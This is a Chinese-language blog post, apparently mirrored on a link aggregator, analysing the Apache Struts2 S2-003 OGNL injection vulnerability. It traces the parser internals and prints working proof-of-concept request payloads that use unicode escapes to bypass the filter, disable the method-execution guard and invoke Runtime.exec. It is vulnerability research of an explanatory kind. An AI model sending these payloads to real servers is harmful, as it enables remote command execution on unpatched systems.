Struts2漏洞笔记之S2-003 - osword's blog
source link: https://zhzhdoai.github.io/2020/12/24/Struts2%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B9%8BS2-003/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Struts2漏洞笔记之S2-003 - osword's blog
Stru_
946 字
12 分钟
144 次
拦截器ParametersInterceptor::setParameters
在执行参数装载时对参数名进行OGNL表达式解析造成表达式注入
官网通告:https://cwiki.apache.org/confluence/display/WW/S2-003
版本影响:Struts 2.0.0 - Struts 2.1.8.1
pom.xml
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.11.2</version>
</dependency>
tomcat
Version: 8.5.0
选择这个版本是因为相关Payload存在特殊字符,不满足有关版本的RPC规范
在第一篇S2-001分析Struts2处理用户请求时,会调用拦截器处理ParametersInterceptor.setParameters
装载参数.其中在执行数据栈加载时会对传入的参数name正则判断是否存在非法字符.
之后执行stack.setValue(name, value)
进一步解析name值.依次解析传入的表达式造成注入
POC解析
上方分析完具体造成Ognl注入的流程,现在是怎么构造具体POC进一步利用.
POC分为三部分
1. 对过滤字符使用unicode或八进制替代
2.('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)
设置xwork.MethodAccessor.denyMethodExecution=false
3.('\u0023myret\[email protected]@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(bla)(bla)
调用Runtime静态方法执行命令
针对第一部分特殊字符使用unicode或八进制替代具体逻辑需要关注Ognl.parseExpression
=>JavaCharStream:readChar()
.
匹配u
字符后做计算转换\u0023=>#
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)
多个括号包裹主要是满足Ognl语法树,进行节点拆分解析表达式.默认初始化的上下文中设置xwork.MethodAccessor.denyMethodExecution=true
限制表达式中的方法执行
所以此处需要将xwork.MethodAccessor.denyMethodExecution设置为
false`才能进一步执行命令
打入表达式#context['xwork.MethodAccessor.denyMethodExecution']=false
,分析语法树之后会得到两个Node
ASTChain => #context["xwork.MethodAccessor.denyMethodExecution"]
ASTConst => "false"
针对常量false会直接进行返回,最后通过ASTAssign::getValueBody
渲染进children[0]
ASTChain会进一步分析语法书拆分为两个Node
ASTVarRef => "#context"
ASTProperty => "["xwork.MethodAccessor.denyMethodExecution"]"
进入ASTChain根据Node对象类型执行相应的setValue
方法最后会执行相应的setValueBody
方法,getValue
执行相应的getValueBody
方法
第一次执行ASTVarRef::getValueBody,会获取到当前的context字段即OgnlContext对象上下文
第二次执行ASTPropety::setValueBody
方法执行,进一步执行OgnlRuntime.setProperty
,会将当前context中的xwork.MethodAccessor.denyMethodExecution
设置为false
('\u0023myret\[email protected]@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(bla)(bla)
依旧会分析先拆分为两个Node
最后执行方法成功就不一步步跟了,直接看执行exec方法时会获取上下文对象中xwork.MethodAccessor.denyMethodExecution
值,如果为false就会执行方法否则返回null.
POC踩坑
分析完之后会发现必须先执行paylaod置xwork.MethodAccessor.denyMethodExecution=false
,打入如下payload会先执行('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&
('\u0023myret\[email protected]@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(bla)(bla)
但时当去掉#myret,打入如下payload就会先执行('@java.lang.Runtime@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(bla)(bla)
,造成明显执行失败
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&
('@java.lang.Runtime@getRuntime().exec(\'open\u0020/System/Applications/Calculator.app\')')(bla)(bla)
这里需要探究下TreeMap
默认排序,按照key的字典顺序排序即升序,写个Demo验证写,具体可以看TreeMap源码
修复见S2-005分析
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK